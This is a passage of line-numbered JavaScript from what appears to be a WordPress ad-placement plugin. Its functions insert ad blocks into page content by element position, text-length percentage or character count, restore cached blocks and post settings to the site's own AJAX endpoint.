1540            let allower;
1541
1542            try {
1543                while (elList[cou]) {
1544                    allower = true;
1545                    if (!elList[cou].classList.contains(markedClassBad)) {
1546                        if (excArr&&excArr.length > 0) {
1547                            cou1 = 0;
1548                            while (excArr[cou1]) {
1549                                checkNearest = elList[cou].parentElement.closest(excArr[cou1]);
1550                                if (checkNearest) {
1551                                    checkNearest.classList.add('currClosest');
1552                                    outOfRangeCheck = pwcLocal.querySelector('.currClosest');
1553                                    if (outOfRangeCheck) {
1554                                        allower = false;
1555                                        checkNearest.classList.add(markedClass);
1556                                        gatherRejected = checkNearest.querySelectorAll(gatherString);
1557                                        if (gatherRejected.length > 0) {
1558                                            for (let i1 = 0; i1 < gatherRejected.length; i1++) {
1559                                                gatherRejected[i1].classList.add(markedClassBad);
1560                                            }
1561                                        }
1562                                    }
1563                                    checkNearest.classList.remove('currClosest');
1564                                }
1565                                cou1++;
1566                            }
1567                        }
1568                        if (allower===true) {
1569                            elList[cou].classList.add(markedClass);
1570                            /* finalArr.push(elList[cou]); */
1571                        }
1572                    }
1573                    cou++;
1574                }
1575                finalArr = pwcLocal.querySelectorAll('.'+markedClass+':not('+markedClassBad+')');
1576                finalArrClear = pwcLocal.querySelectorAll('.'+markedClass+',.'+markedClassBad);
1577                if (finalArrClear&&finalArrClear.length > 0) {
1578                    for (let i1 = 0; i1 < finalArrClear.length; i1++) {
1579                        finalArrClear[i1].classList.remove(markedClass,markedClassBad);
1580                    }
1581                }
1582            } catch (er) {
1583                console.log(er.message);
1584            }
1585            return finalArr;
1586        }
1587
1588        function cureentElementsGather(usedElement, loopLimit = 2, localPwc = parent_with_content) {
1589            let curElementSearchRepeater = true;
1590            let curElementSearchCounter = 0;
1591            let currentElementLoc = null;
1592            let ExcludedStringBegin = '';
1593            let ExcludedString = '';
1594            let ExcludedStringEnd = '';
1595            let tagListString = '';
1596            let tagListStringExc = '';
1597            let cou = 0;
1598            /* let excArr = excIdClUnpacker(); */
1599            let tagListCou = 0;
1600
1601            if (usedElement=='h1') {
1602                currentElementLoc = placingToH1(localPwc, usedElement);
1603            } else {
1604                if (usedElement=='h2-4') {tagList = ['h2','h3','h3'];}
1605                else                     {tagList = [usedElement];   }
1606                while (tagList[tagListCou]) {
1607                    tagListString += ((cou++>0)?',':'')+tagList[tagListCou];
1608                    tagListStringExc += ':not('+tagList[tagListCou]+')';
1609                    tagListCou++;
1610                }
1611
1612                ExcludedString = '';
1613                if (excIdClass&&excIdClass.length > 0) {
1614                    for (let i2 = 0; i2 < excIdClass.length; i2++) {
1615                        if (excIdClass[i2].length > 0) {
1616                            ExcludedString += (i2>0?',':'')+excIdClass[i2]+tagListStringExc;
1617                        }
1618                    }
1619                }
1620                detailedQueryString += tagListString+','+ExcludedString;
1621
1622                /* console.log(detailedQueryString); */
1623                while (curElementSearchRepeater&&curElementSearchCounter < loopLimit) {
1624                    try {
1625                        currentElementLoc = localPwc.querySelectorAll(tagListString);
1626                    } catch (e1) {console.log(e1.message);}
1627                    if (!currentElementLoc) {
1628                        if (localPwc.parentElement) {
1629                            localPwc = localPwc.parentElement;
1630                        } else {
1631                            break;
1632                        }
1633                    } else {
1634                        currentElementLoc = elementsCleaning(excIdClass, currentElementLoc, localPwc, detailedQueryString);
1635                        curElementSearchRepeater = false;
1636                    }
1637                    curElementSearchCounter++;
1638                }
1639            }
1640            return currentElementLoc;
1641        }
1642
1643        function currentElementReceiver(revert, localCurEl = currentElement) {
1644            let origCurEl = localCurEl;
1645            curSumResult = sumResult;
1646            detailedElementList = localCurEl;
1647            sameElementAfterWidth = false;
1648            let testCou = 0;
1649            while (detailedElementList[curSumResult]&&sameElementAfterWidth==false&&testCou < 8) {
1650                localCurEl = detailedElementList[curSumResult];
1651                try {
1652                    sameElementAfterWidth=true;
1653                    sameElementAfterWidth = checkAdsWidth(content_pointer, blockSettingArray[i]["elementPosition"], localCurEl);
1654                } catch (ex) {
1655                    console.log(ex.message);
1656                }
1657                revert? curSumResult--: curSumResult++;
1658                testCou++;
1659            }
1660            if (localCurEl) {
1661                currentElementChecker = true;
1662            }
1663            return localCurEl?localCurEl:origCurEl;
1664        }
1665        
1666        function endingActions(block_number) {
1667            usedBlockSettingArrayIds.push(block_number);
1668            blockSettingArray.splice(i--, 1);
1669            poolbackI = 1;
1670        }
1671
1672        for (i = 0; i < blockSettingArray.length; i++) {
1673            currentElement = null;
1674            currentElementChecker = false;
1675            sameElementAfterWidth = false;
1676            sameElementAfterExcClassId = false;
1677            sameElementAfterFromConstruction = false;
1678            tagListCou = 0;
1679            poolbackI = 0;
1680            detailedQueryString = '';
1681            binderName = elementBinderNameGenerator();
1682
1683            try {
1684                if (!blockSettingArray[i]["text"]
1685                    ||(blockSettingArray[i]["text"]&&blockSettingArray[i]["text"].length < 1)
1686                    ||(rejectedBlocks&&rejectedBlocks.includes(blockSettingArray[i]["id"]))
1687                    ||((blockSettingArray[i]["maxHeaders"] > 0)&&(blockSettingArray[i]["maxHeaders"] < parseInt(termorarity_parent_with_content_length)))
1688                    ||((blockSettingArray[i]["maxSymbols"] > 0)&&(blockSettingArray[i]["maxSymbols"] < parseInt(contentLength)))
1689                    ||(content_pointer.classList.contains("hard-content")&&blockSettingArray[i]["setting_type"]!=3)
1690                ) {
1691                    blockSettingArray.splice(i--, 1);
1692                    poolbackI = 1;
1693                    continue;
1694                }
1695
1696                block_number = 0;
1697
1698                elementToAdd = document.createElement("div");
1699                elementToAdd.classList.add("percentPointerClass");
1700                elementToAdd.classList.add("marked");
1701                if (blockSettingArray[i]["sc"]==1) {
1702                    elementToAdd.classList.add("scMark");
1703                }
1704                elementToAdd.innerHTML = blockSettingArray[i]["text"];
1705                elementToAdd.dataset.rbinder = binderName;
1706                block_number = elementToAdd.children[0].attributes['data-id'].value;
1707
1708                if (blockDuplicate == 'no') {
1709                    if (usedBlockSettingArrayIds.length > 0) {
1710                        for (let i1 = 0; i1 < usedBlockSettingArrayIds.length; i1++) {
1711                            if (block_number==usedBlockSettingArrayIds[i1]) {
1712                                blockSettingArray.splice(i--, 1);
1713                                poolbackI = 1;
1714                                break;
1715                            }
1716                        }
1717                        if (poolbackI == 1) {
1718                            continue;
1719                        }
1720                    }
1721                }
1722
1723                elementToAddStyle = createStyleElement(block_number, blockSettingArray[i]["elementCss"]);
1724
1725                if (elementToAddStyle&&elementToAddStyle!='default') {
1726                    elementToAdd.style.textAlign = elementToAddStyle;
1727                }
1728
1729                if ((blockSettingArray[i]["minHeaders"] > 0)&&(blockSettingArray[i]["minHeaders"] > termorarity_parent_with_content_length)) {continue;}
1730                if (blockSettingArray[i]["minSymbols"] > contentLength) {continue;}
1731
1732                if (blockSettingArray[i]["setting_type"] == 1) {
1733                    currentElement = cureentElementsGather(blockSettingArray[i]["element"].toLowerCase());
1734                    if (currentElement) {
1735                        if (blockSettingArray[i]["elementPlace"] < 0) {
1736                            sumResult = currentElement.length + blockSettingArray[i]["elementPlace"];
1737                            if (sumResult >= 0 && sumResult < currentElement.length) {
1738                                currentElement = currentElementReceiver(true);
1739                            }
1740                        } else {
1741                            sumResult = blockSettingArray[i]["elementPlace"] - 1;
1742                            if (sumResult < currentElement.length) {
1743                                currentElement = currentElementReceiver(false);
1744                            }
1745                        }
1746                    }
1747                    if (currentElement != undefined && currentElement != null && currentElementChecker) {
1748                        posCurrentElement = initTargetToInsert(blockSettingArray[i]["elementPosition"], 'element', currentElement);
1749                        currentElement.parentNode.insertBefore(elementToAdd, posCurrentElement);
1750                        currentElement.classList.add('rbinder-'+binderName);
1751                        elementToAdd.classList.remove('coveredAd');
1752                        usedBlockSettingArrayIds.push(block_number);
1753                        blockSettingArray.splice(i--, 1);
1754                        poolbackI = 1;
1755                        rb_tempElement_check = false;
1756                    } else {
1757                        repeat = true;
1758                    }
1759                }
1760                else if (blockSettingArray[i]["setting_type"] == 2) {
1761                    if (blockDuplicate == 'no') {
1762                        blockSettingArray[i]["elementCount"] = 1;
1763                    }
1764                    repeatableCurrentElement = [];
1765                    reCou = 0;
1766                    curFirstPlace = blockSettingArray[i]["firstPlace"];
1767                    curElementCount = blockSettingArray[i]["elementCount"];
1768                    curElementStep = blockSettingArray[i]["elementStep"];
1769                    repeatableSuccess = false;
1770
1771                    elementToAddStyle = createStyleElement(block_number, blockSettingArray[i]["elementCss"]);
1772
1773                    repeatableCurrentElement = cureentElementsGather(blockSettingArray[i]["element"].toLowerCase());
1774                    if (repeatableCurrentElement) {
1775                        for (let i1 = 0; i1 < blockSettingArray[i]["elementCount"]; i1++) {
1776                            currentElementChecker = false;
1777                            let repElementToAdd = document.createElement("div");
1778                            repElementToAdd.classList.add("percentPointerClass");
1779                            repElementToAdd.classList.add("marked");
1780                            if (blockSettingArray[i]["sc"]==1) {
1781                                repElementToAdd.classList.add("scMark");
1782                            }
1783                            repElementToAdd.classList.add("repeatable-mark-"+repeatableBlockIdentifier);
1784                            repElementToAdd.innerHTML = blockSettingArray[i]["text"];
1785
1786                            if (elementToAddStyle&&elementToAddStyle!='default') {
1787                                repElementToAdd.style.textAlign = elementToAddStyle;
1788                            }
1789
1790                            sumResult = Math.round(parseInt(blockSettingArray[i]["firstPlace"]) + (i1*parseInt(blockSettingArray[i]["elementStep"])) - 1);
1791                            if (sumResult < repeatableCurrentElement.length) {
1792                                currentElement = currentElementReceiver(false, repeatableCurrentElement);
1793                            }
1794
1795                            if (currentElement != undefined && currentElement != null && currentElementChecker) {
1796                                posCurrentElement = initTargetToInsert(blockSettingArray[i]["elementPosition"], 'element', currentElement);
1797                                currentElement.parentNode.insertBefore(repElementToAdd, posCurrentElement);
1798                                currentElement.classList.add('rbinder-'+binderName);
1799                                repElementToAdd.classList.remove('coveredAd');
1800                                curFirstPlace = sumResult + parseInt(blockSettingArray[i]["elementStep"]) + 1;
1801                                curElementCount--;
1802                                repeatableSuccess = true;
1803                            } else {
1804                                repeatableSuccess = false;
1805                                break;
1806                            }
1807                        }
1808                    }
1809                    if (repeatableSuccess==true) {
1810                        usedBlockSettingArrayIds.push(block_number);
1811                        blockSettingArray.splice(i--, 1);
1812                        poolbackI = 1;
1813                        repeatableBlockIdentifier++;
1814                    } else {
1815                        if (!blockSettingArray[i]["unsuccess"]) {
1816                            blockSettingArray[i]["unsuccess"] = 1;
1817                        } else {
1818                            blockSettingArray[i]["unsuccess"] = Math.round(blockSettingArray[i]["unsuccess"] + 1);
1819                        }
1820                        if (blockSettingArray[i]["unsuccess"] > 10) {
1821                            usedBlockSettingArrayIds.push(block_number);
1822                            blockSettingArray.splice(i--, 1);
1823                            poolbackI = 1;
1824                        } else {
1825                            blockSettingArray[i]["firstPlace"] = curFirstPlace;
1826                            blockSettingArray[i]["elementCount"] = curElementCount;
1827                            blockSettingArray[i]["elementStep"] = curElementStep;
1828                            repeat = true;
1829                        }
1830                    }
1831                }
1832                else if (blockSettingArray[i]["setting_type"] == 3) {
1833                    let elementTypeSymbol = '';
1834                    let elementSpaceSymbol = '';
1835                    let elementName = '';
1836                    let elementType = '';
1837                    let elementTag  = '';
1838                    let findQuery = 0;
1839                    let directClassResult = [];
1840                    let directElement = blockSettingArray[i]["directElement"].trim();
1841
1842                    if (directElement.search('#') > -1) {
1843                        findQuery = 1;
1844                    } else if ((directElement.search('#') < 0)&&(directElement.search('.') > -1)) {
1845                        directClassResult = directClassElementDetecting(blockSettingArray, directElement);
1846                        findQuery = directClassResult['findQuery'];
1847                        currentElement = directClassResult['currentElement'];
1848                    }
1849                    if (findQuery == 1) {
1850                        currentElement = document.querySelector(directElement);
1851                    }
1852                    if (currentElement) {
1853                        currentElementChecker = true;
1854                    }
1855
1856                    if (currentElement != undefined && currentElement != null && currentElementChecker) {
1857                        posCurrentElement = initTargetToInsert(blockSettingArray[i]["elementPosition"], 'element', currentElement);
1858                        currentElement.parentNode.insertBefore(elementToAdd, posCurrentElement);
1859                        elementToAdd.classList.remove('coveredAd');
1860                        currentElement.classList.add('rbinder-'+binderName);
1861                        usedBlockSettingArrayIds.push(block_number);
1862                        blockSettingArray.splice(i--, 1);
1863                        poolbackI = 1;
1864                    } else {
1865                        repeat = true;
1866                    }
1867                }
1868                else if (blockSettingArray[i]["setting_type"] == 4) {
1869                    document.querySelector("#content_pointer_id").parentElement.append(elementToAdd);
1870                    usedBlockSettingArrayIds.push(block_number);
1871                    blockSettingArray.splice(i--, 1);
1872                    poolbackI = 1;
1873                }
1874                else if (blockSettingArray[i]["setting_type"] == 5) {
1875                    let currentElementList = cureentElementsGather('p', 1, content_pointer.parentElement);
1876                    if (currentElementList&&currentElementList.length > 0) {
1877                        let pCount = currentElementList.length;
1878                        let elementNumber = Math.round(pCount/2);
1879                        if (pCount > 1) {
1880                            currentElement = currentElementList[elementNumber+1];
1881                        }
1882                        if (currentElement != undefined && currentElement != null) {
1883                            if (pCount > 1) {
1884                                currentElement.parentNode.insertBefore(elementToAdd, currentElement);
1885                            } else {
1886                                currentElement.parentNode.insertBefore(elementToAdd, currentElement.nextSibling);
1887                            }
1888                            elementToAdd.classList.remove('coveredAd');
1889                            currentElement.classList.add('rbinder-'+binderName);
1890                            usedBlockSettingArrayIds.push(block_number);
1891                            blockSettingArray.splice(i--, 1);
1892                            poolbackI = 1;
1893                        } else {
1894                            repeat = true;
1895                        }
1896                    } else {
1897                        repeat = true;
1898                    }
1899                }
1900                else if (blockSettingArray[i]["setting_type"] == 6) {
1901                    if (containerFor6th.length > 0) {
1902                        for (let j = 0; j < containerFor6th.length; j++) {
1903                            if (containerFor6th[j]["elementPlace"]<blockSettingArray[i]["elementPlace"]) {
1904                                /* continue; */
1905                                if (j == containerFor6th.length-1) {
1906                                    containerFor6th.push(blockSettingArray[i]);
1907                                    /* usedAdBlocksArray.push(checkIfBlockUsed); */
1908                                    usedBlockSettingArrayIds.push(block_number);
1909                                    blockSettingArray.splice(i--, 1);
1910                                    poolbackI = 1;
1911                                    break;
1912                                }
1913                            } else {
1914                                for (let k = containerFor6th.length-1; k > j-1; k--) {
1915                                    containerFor6th[k + 1] = containerFor6th[k];
1916                                }
1917                                containerFor6th[j] = blockSettingArray[i];
1918                                /* usedAdBlocksArray.push(checkIfBlockUsed); */
1919                                usedBlockSettingArrayIds.push(block_number);
1920                                blockSettingArray.splice(i--, 1);
1921                                poolbackI = 1;
1922                                break;
1923                            }
1924                        }
1925                    } else {
1926                        containerFor6th.push(blockSettingArray[i]);
1927                        usedBlockSettingArrayIds.push(block_number);
1928                        blockSettingArray.splice(i--, 1);
1929                        poolbackI = 1;
1930                    }
1931                /* vidpravutu v vidstiinuk dlya 6ho tipa */
1932                }
1933                else if (blockSettingArray[i]["setting_type"] == 7) {
1934                    if (containerFor7th.length > 0) {
1935                        for (let j = 0; j < containerFor7th.length; j++) {
1936                            if (containerFor7th[j]["elementPlace"]<blockSettingArray[i]["elementPlace"]) {
1937                                /* continue; */
1938                                if (j == containerFor7th.length-1) {
1939                                    containerFor7th.push(blockSettingArray[i]);
1940                                    usedBlockSettingArrayIds.push(block_number);
1941                                    blockSettingArray.splice(i--, 1);
1942                                    poolbackI = 1;
1943                                    break;
1944                                }
1945                            } else {
1946                                for (let k = containerFor7th.length-1; k > j-1; k--) {
1947                                    containerFor7th[k + 1] = containerFor7th[k];
1948                                }
1949                                containerFor7th[j] = blockSettingArray[i];
1950                                usedBlockSettingArrayIds.push(block_number);
1951                                blockSettingArray.splice(i--, 1);
1952                                poolbackI = 1;
1953                                break;
1954                            }
1955                        }
1956                    } else {
1957                        containerFor7th.push(blockSettingArray[i]);
1958                        usedBlockSettingArrayIds.push(block_number);
1959                        blockSettingArray.splice(i--, 1);
1960                        poolbackI = 1;
1961                    }
1962                /* vidpravutu v vidstiinuk dlya 7ho tipa */
1963                }
1964            } catch (e) {
1965                console.log(e.message);
1966            }
1967        }
1968
1969        var array = textLengthGatherer(lordOfElements),
1970            tlArray = array.array,
1971            length = array.length;
1972
1973        if (containerFor6th.length > 0) {
1974            percentInserter(lordOfElements, containerFor6th, tlArray, length);
1975        }
1976        if (containerFor7th.length > 0) {
1977            symbolInserter(lordOfElements, containerFor7th, tlArray);
1978        }
1979        shortcodesInsert();
1980        let stopper = 0;
1981
1982        window.addEventListener('load', function () {
1983            if (repeat = true) {
1984                setTimeout(function () {
1985                    /* asyncBlocksInsertingFunction(blockSettingArray, contentLength) */
1986                    asyncBlocksInsertingFunction(blockSettingArray);
1987                }, 100);
1988            }
1989        });
1990    } catch (e) {
1991        console.log(e.message);
1992    }
1993}
1994
1995function possibleTagsInCheckConfirmer(possibleTagsArray, possibleTagsInCheck) {
1996    if (possibleTagsArray.includes("LI")) {
1997        if (possibleTagsArray.includes("UL")) {
1998            possibleTagsInCheck.push("UL");
1999        }
2000        if (possibleTagsArray.includes("OL")) {
2001            possibleTagsInCheck.push("OL");
2002        }
2003    }
2004
2005    return false;
2006}
2007
2008function textLengthGatherer(lordOfElementsLoc) {
2009    var possibleTagsArray;
2010    if (typeof tagsListForTextLength!=="undefined") {
2011        possibleTagsArray = tagsListForTextLength;
2012    } else {
2013        possibleTagsArray = ["P", "H1", "H2", "H3", "H4", "H5", "H6", "DIV", "BLOCKQUOTE", "INDEX", "ARTICLE", "SECTION"];
2014    }
2015    let possibleTagsInCheck = ["DIV", "INDEX", "SECTION"];
2016
2017    possibleTagsInCheckConfirmer(possibleTagsArray, possibleTagsInCheck);
2018    let excArr = excIdClUnpacker(),
2019        textLength = 0,
2020        tlArray = [];
2021
2022    function textLengthGathererRec(lordOfElementsLoc) {
2023        let allowed;
2023
2024        let cou1;
2025        let classesArray;
2026        let countSuccess = 0;
2027        try {
2028            for (let i = 0; i < lordOfElementsLoc.children.length; i++) {
2029                if (possibleTagsArray.includes(lordOfElementsLoc.children[i].tagName)
2030                    &&!lordOfElementsLoc.children[i].classList.contains("percentPointerClass")
2031                    &&lordOfElementsLoc.children[i].id!="toc_container"
2032                ) {
2033                    if (possibleTagsInCheck.includes(lordOfElementsLoc.children[i].tagName)
2034                        &&(lordOfElementsLoc.children[i].children.length > 0)
2035                    ) {
2036                        allowed = true;
2037                        if (lordOfElementsLoc.children[i].id&&excArr['id'].length > 0) {
2038                            cou1 = 0;
2039                            while (excArr['id'][cou1]) {
2040                                if (lordOfElementsLoc.children[i].id.toLowerCase()==excArr['id'][cou1].toLowerCase()) {
2041                                    allowed = false;
2042                                    break;
2043                                }
2044                                cou1++;
2045                            }
2046                        }
2047
2048                        if (lordOfElementsLoc.children[i].classList.length > 0&&excArr['class'].length > 0) {
2049                            cou1 = 0;
2050                            while (excArr['class'][cou1]) {
2051                                classesArray = excArr['class'][cou1].split('.');
2052                                if (classesArray.every(className => lordOfElementsLoc.children[i].classList.contains(className))) {
2053                                    allowed = false;
2054                                    break;
2055                                }
2056                                cou1++;
2057                            }
2058                        }
2059
2060                        if (excArr['tag'].length > 0) {
2061                            cou1 = 0;
2062                            while (excArr['tag'][cou1]) {
2063                                if (lordOfElementsLoc.children[i].tagName.toLowerCase()==excArr['tag'][cou1].toLowerCase()) {
2064                                    allowed = false;
2065                                    break;
2066                                }
2067                                cou1++;
2068                            }
2069                        }
2070
2071                        if (allowed) {
2072                            if (textLengthGathererRec(lordOfElementsLoc.children[i], excArr, possibleTagsArray, possibleTagsInCheck)) {
2073                                countSuccess++;
2074                                continue;
2075                            }
2076                        }
2077                    }
2078                    textLength = textLength + lordOfElementsLoc.children[i].innerText.length;
2079                    tlArray.push({
2080                        tag: lordOfElementsLoc.children[i].tagName,
2081                        length: lordOfElementsLoc.children[i].innerText.length,
2082                        lengthSum: textLength,
2083                        element: lordOfElementsLoc.children[i]
2084                    });
2085                    countSuccess++;
2086                }
2087            }
2088        } catch (er) {
2089            console.log(er.message);
2090        }
2091        return countSuccess > 0;
2092    }
2093
2094    textLengthGathererRec(lordOfElementsLoc);
2095
2096    return {array: tlArray, length: textLength};
2097}
2098
2099window.asyncFunctionLauncher = function() {
2100    if (window.jsInputerLaunch !== undefined
2101        &&[15, 10].includes(window.jsInputerLaunch)
2102        &&(typeof asyncBlocksInsertingFunction !== 'undefined' )
2103        &&(typeof asyncBlocksInsertingFunction === 'function')
2104        &&typeof endedSc!=='undefined'&&
2105        typeof endedCc!=='undefined'&&
2106        typeof usedAdBlocksArray!=='undefined'&&
2107        typeof usedBlockSettingArrayIds!=='undefined'&&
2108        typeof sameElementAfterWidth!=='undefined'&&
2109        typeof sameElementAfterExcClassId!=='undefined'&&
2110        typeof sameElementAfterFromConstruction!=='undefined'&&
2111        typeof rb_tempElement_check!=='undefined'&&
2112        typeof rb_tempElement!=='undefined'&&
2113        typeof window.jsInputerLaunch!=='undefined') {
2114        /* asyncBlocksInsertingFunction(blockSettingArray, contentLength); */
2115        asyncBlocksInsertingFunction(blockSettingArray);
2116        if (!endedSc) {
2117            shortcodesInsert();
2118        }
2119        if (!endedCc) {
2120            /* clearUnsuitableCache(0); */
2121        }
2122        /* blocksReposition();
2123        cachePlacing();
2124        symbolMarkersPlaced(); */
2125    } else {
2126        setTimeout(function () {
2127            asyncFunctionLauncher();
2128        }, 50);
2129    }
2130};
2131/* asyncFunctionLauncher(); */
2132
2133function asyncInsertingsInsertingFunction(insertingsArray) {
2134    let currentElementForInserting = 0;
2135    let currentElementToMove = 0;
2136    let positionElement = 0;
2137    let position = 0;
2138    let insertToAdd = 0;
2139    let postId = 0;
2140    let repeatSearch = 0;
2141    if (insertingsArray&&insertingsArray.length > 0) {
2142        for (let i = 0; i < insertingsArray.length; i++) {
2143            if (!insertingsArray[i]['used']||(insertingsArray[i]['used']&&insertingsArray[i]['used']==0)) {
2144                positionElement = insertingsArray[i]['position_element'];
2145                position = insertingsArray[i]['position'];
2146                insertToAdd = insertingsArray[i]['content'];
2147                postId = insertingsArray[i]['postId'];
2148
2149                currentElementForInserting = document.querySelector(positionElement);
2150
2151                currentElementToMove = document.querySelector('.coveredInsertings[data-id="'+postId+'"]');
2152                if (currentElementForInserting) {
2153                    if (position==0) {
2154                        currentElementForInserting.parentNode.insertBefore(currentElementToMove, currentElementForInserting);
2155                        currentElementToMove.classList.remove('coveredInsertings');
2156                        insertingsArray[i]['used'] = 1;
2157                    } else {
2158                        currentElementForInserting.parentNode.insertBefore(currentElementToMove, currentElementForInserting.nextSibling);
2159                        currentElementToMove.classList.remove('coveredInsertings');
2160                        insertingsArray[i]['used'] = 1;
2161                    }
2162                } else {
2163                    repeatSearch = 1;
2164                }
2165            }
2166        }
2167    }
2168    if (repeatSearch == 1) {
2169        setTimeout(function () {
2170            asyncInsertingsInsertingFunction(insertingsArray);
2171        }, 100)
2172    }
2173}
2174
2175function insertingsFunctionLaunch() {
2176    if (window.jsInsertingsLaunch !== undefined&&jsInsertingsLaunch == 25) {
2177        asyncInsertingsInsertingFunction(insertingsArray);
2178    } else {
2179        setTimeout(function () {
2180            insertingsFunctionLaunch();
2181        }, 100)
2182    }
2183}
2184
2185function setLongCache() {
2186    let xhttp = new XMLHttpRequest();
2187    let sendData = 'action=setLongCache&type=longCatching';
2188    xhttp.onreadystatechange = function(redata) {
2189        if (this.readyState == 4 && this.status == 200) {
2190            console.log('long cache deployed');
2191        }
2192    };
2193    xhttp.open("POST", rb_ajaxurl, true);
2194    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2195    xhttp.send(sendData);
2196}
2197
2198function cachePlacing(alert_type, errorInfo=null) {
2199    let adBlocks = document.querySelectorAll('.percentPointerClass .' + block_classes.join(', .percentPointerClass .'));
2200    let curAdBlock;
2201    let okStates = ['done','refresh-wait','no-block','fetched'];
2202    /* let adId = -1; */
2203    let blockAid = null;
2204    let blockId;
2205
2206    if (typeof cachedBlocksArray !== 'undefined'&&cachedBlocksArray&&cachedBlocksArray.length > 0&&adBlocks&&adBlocks.length > 0) {
2207        for (let i = 0; i < adBlocks.length; i++) {
2208            blockAid = adBlocks[i]['dataset']['aid'];
2209
2210            if (!blockAid) {
2211                blockId = adBlocks[i]['dataset']['id'];
2212                if (cachedBlocksArray[blockId]) {
2213                    jQuery(adBlocks[i]).html(cachedBlocksArray[blockId]);
2214                }
2215            }
2216        }
2217    }
2218
2219    if (alert_type&&alert_type=='high') {
2220        setLongCache();
2221    }
2222}
2223
2224function symbolInserter(lordOfElements, containerFor7th, tlArray) {
2225    try {
2226        var currentChildrenLength = 0;
2227        let previousBreak = 0;
2228        let needleLength;
2229        let currentSumLength;
2230        let elementToAdd;
2231        let elementToBind;
2232        let elementToAddStyle;
2233        let block_number;
2234        let binderName;
2235
2236        if (!document.getElementById("markedSpan1")) {
2237            for (let i = 0; i < containerFor7th.length; i++) {
2238                previousBreak = 0;
2239                currentChildrenLength = 0;
2240                currentSumLength = 0;
2241                needleLength = Math.abs(containerFor7th[i]['elementPlace']);
2242                binderName = elementBinderNameGenerator();
2243
2244                elementToAdd = document.createElement("div");
2245                elementToAdd.classList.add("percentPointerClass");
2246                elementToAdd.classList.add("marked");
2247                if (containerFor7th[i]["sc"]==1) {
2248                    elementToAdd.classList.add("scMark");
2249                }
2250                elementToAdd.dataset.rbinder = binderName;
2251                elementToAdd.innerHTML = containerFor7th[i]["text"];
2252                block_number = elementToAdd.children[0].attributes['data-id'].value;
2253                if (!elementToAdd) {
2254                    continue;
2255                }
2256
2257                elementToAddStyle = createStyleElement(block_number, 
2257containerFor7th[i]["elementCss"]);
2258
2259                if (elementToAddStyle&&elementToAddStyle!='default') {
2260                    elementToAdd.style.textAlign = elementToAddStyle;
2261                }
2262
2263                if (containerFor7th[i]['elementPlace'] < 0) {
2264                    for (let j = tlArray.length-1; j > -1; j--) {
2265                        currentSumLength = currentSumLength + tlArray[j]['length'];
2266                        if (needleLength < currentSumLength) {
2267                            elementToBind = tlArray[j]['element'];
2268                            elementToBind = currentElementReceiverSpec(true, j, tlArray, elementToBind);
2269                            elementToBind.parentNode.insertBefore(elementToAdd, elementToBind);
2270                            elementToBind.classList.add('rbinder-'+binderName);
2271                            elementToAdd.classList.remove('coveredAd');
2272                            break;
2273                        }
2274                    }
2275                } else if (containerFor7th[i]['elementPlace'] == 0) {
2276                    elementToBind = tlArray[0]['element'];
2277                    elementToBind.parentNode.insertBefore(elementToAdd, elementToBind);
2278                    elementToBind.classList.add('rbinder-'+binderName);
2279                    elementToAdd.classList.remove('coveredAd');
2280                } else {
2281                    for (let j = 0; j < tlArray.length; j++) {
2282                        currentSumLength = currentSumLength + tlArray[j]['length'];
2283                        if (needleLength < currentSumLength) {
2284                            elementToBind = tlArray[j]['element'];
2285                            elementToBind = currentElementReceiverSpec(false, j, tlArray, elementToBind);
2286                            elementToBind.parentNode.insertBefore(elementToAdd, elementToBind.nextSibling);
2287                            elementToBind.classList.add('rbinder-'+binderName);
2288                            elementToAdd.classList.remove('coveredAd');
2289                            break;
2290                        }
2291                    }
2292                }
2293            }
2294
2295            var spanMarker = document.createElement("span");
2296            spanMarker.setAttribute("id", "markedSpan1");
2297            lordOfElements.prepend(spanMarker);
2298        }
2299    } catch (e) {
2300        console.log(e);
2301    }
2302}
2303
2304function percentInserter(lordOfElements, containerFor6th, tlArray, textLength) {
2305    try {
2306        var textNeedyLength = 0;
2307        let elementToAdd;
2308        var elementToBind;
2309        let elementToAddStyle;
2310        let block_number;
2311        var binderName;
2312        /* var checkIfBlockUsed = 0; */
2313
2314        function insertByPercents(textLength) {
2315            let localMiddleValue = 0;
2316
2317            for (let j = 0; j < containerFor6th.length; j++) {
2318                textNeedyLength = Math.round(textLength * (containerFor6th[j]["elementPlace"]/100));
2319                for (let i = 0; i < tlArray.length; i++) {
2320                    if (tlArray[i]['lengthSum'] >= textNeedyLength) {
2321                        binderName = elementBinderNameGenerator();
2322
2323                        elementToAdd = document.createElement("div");
2324                        elementToAdd.classList.add("percentPointerClass");
2325                        elementToAdd.classList.add("marked");
2326                        if (containerFor6th[j]["sc"]==1) {
2327                            elementToAdd.classList.add("scMark");
2328                        }
2329                        elementToAdd.dataset.rbinder = binderName;
2330                        elementToAdd.innerHTML = containerFor6th[j]["text"];
2331                        if (!elementToAdd) {
2332                            break;
2333                        }
2334                        block_number = elementToAdd.children[0].attributes['data-id'].value;
2335                        elementToAddStyle = createStyleElement(block_number, 
2335containerFor6th[j]["elementCss"]);
2336                        if (elementToAddStyle&&elementToAddStyle!='default') {
2337                            elementToAdd.style.textAlign = elementToAddStyle;
2338                        }
2339
2340                        localMiddleValue = tlArray[i]['lengthSum'] - Math.round(tlArray[i]['length']/2);
2341                        elementToBind = tlArray[i]['element'];
2342                        currentElementReceiverSpec(false, i, tlArray, elementToBind);
2343                        if (textNeedyLength < localMiddleValue) {
2344                            elementToBind.parentNode.insertBefore(elementToAdd, elementToBind);
2345                        } else {
2346                            elementToBind.parentNode.insertBefore(elementToAdd, elementToBind.nextSibling);
2347                        }
2348                        elementToBind.classList.add('rbinder-'+binderName);
2349                        elementToAdd.classList.remove('coveredAd');
2350                        break;
2351                    }
2352                }
2353            }
2354            return false;
2355        }
2356
2357        function clearTlMarks() {
2358            let marksForDeleting = document.querySelectorAll('.textLengthMarker');
2359
2360            if (marksForDeleting.length > 0) {
2361                for (let i = 0; i < marksForDeleting.length; i++) {
2362                    marksForDeleting[i].remove();
2363                }
2364            }
2365        }
2366
2367        if (!document.getElementById("markedSpan")) {
2368            insertByPercents(textLength);
2369            clearTlMarks();
2370            var spanMarker = document.createElement("span");
2371            spanMarker.setAttribute("id", "markedSpan");
2372            lordOfElements.prepend(spanMarker);
2373        }
2374    } catch (e) {
2375        console.log(e.message);
2376    }
2377}
2378
2379function saveContentBlock(contentContainer) {
2380    try {
2381        if (!gather_content) {
2382            console.log('content gather save function entered');
2383            let xhttp = new XMLHttpRequest();
2384            let sendData = 'action=RFWP_saveContentContainer&type=gatherContentBlock&data='+contentContainer;
